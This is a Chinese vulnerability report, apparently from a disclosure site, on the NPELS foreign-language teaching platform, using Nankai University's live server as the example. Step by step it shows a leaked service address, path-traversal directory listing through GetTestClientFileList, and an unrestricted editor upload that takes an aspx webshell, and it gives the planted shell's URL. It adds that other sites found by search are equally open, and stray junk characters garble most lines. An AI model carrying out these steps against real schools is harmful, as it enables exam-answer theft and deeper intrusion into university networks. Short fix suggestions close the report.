新理念外语网络教学平台文件上传漏洞

admin

好多大学都在用这个教学平台，这个漏洞会导致直接拿到试题答案，甚至作为跳板继续渗透进入学校其他服务器中

详细说明：

以南开大学的为例:
) p. p# f! f, K$ t. g) g' khttp://222.30.60.3/NPELS
: E, c' T- N5 R+ M7 BNPELS_LearningCenter_5.0 客户端下的 Update.exe.config 文件泄露一个重要地址
  \5 x0 ?4 u# }0 V# _4 K<setting name="Update_CommonSvr_CommonService" serializeAs="String">
<value>http://222.30.60.3/NPELS/CommonService.asmx</value>
$ {. A" g+ X9 e2 `' C7 W</setting>
2 \  j5 K$ \9 C及版本号
$ S7 S$ R2 l+ Y- A8 ^9 s<add key="TVersion" value="1, 0, 0, 2187">
, b/ h9 N' U7 j4 o$ o% {4 n5 m</add>
* e% `( G5 ]& ]  \* |! _( G% N& B直接访问
) D" |5 L( e9 x/ ~http://222.30.60.3/NPELS/CommonService.asmx
使用GetTestClientFileList操作，直接 HTTP GET 列目录：
/ N+ |; @) N1 d4 Ehttp://222.30.60.3/NPELS/CommonS ... tFileList?version=1, 0, 0, 2187
进一步列目录（返回的网页很大，可以直接 wget 下来）
http://222.30.60.3/NPELS/CommonS ... List?version=../../

/ K  W7 A! @! b# A, a4 B发现
6 H$ e: }1 q5 whttp://zzxx.nankai.edu.cn/npelsv/editor/editor.htm
+ [; u: M6 ~* z8 {9 i可以上传，直接上传aspx木马即可，不需要改后缀名或者文件头
上传后继续列目录找到木马地址直接访问即可
; Z- }- y* S, \6 ~7 a' u
OOXX
" q# o- e! b0 g
# X7 X$ p! V2 o( E, v( NGoogle "新理念外语网络教学平台" 测试了几个其他的站，都有类似的列目录上传方法
漏洞证明：
6 Y8 o+ Z8 l1 z; }
. ]6 ?) N1 B5 }' z; P8 F列目录：
http://222.30.60.3/NPELS/CommonS ... List?version=../../
$ j- I5 ^, \; {0 Q8 J6 g1 r/ {1 M文件上传：
http://222.30.60.3/npelsv/editor/editor.htm
: @' p# C. [0 }. [; j
! A% N: Q0 b! G1 b/ g/ a上传木马：
! d, }, l" M2 ^5 {8 Dhttp://222.30.60.3/npelsv/editor/uploadfiles/1.aspx
' x; T! G: `4 a7 _! _
修复方案：
好像考试系统必须使用 CommonService.asmx
最好配置文件加密或者用别的方式不让它泄露出来
! R5 p) u7 i8 e, u# ~3 a, _并且检查或删除各上传入口，像 http://222.30.60.3/NPELS/Upload.aspx 一样​
* a( G- N2 o6 G# n0 v" W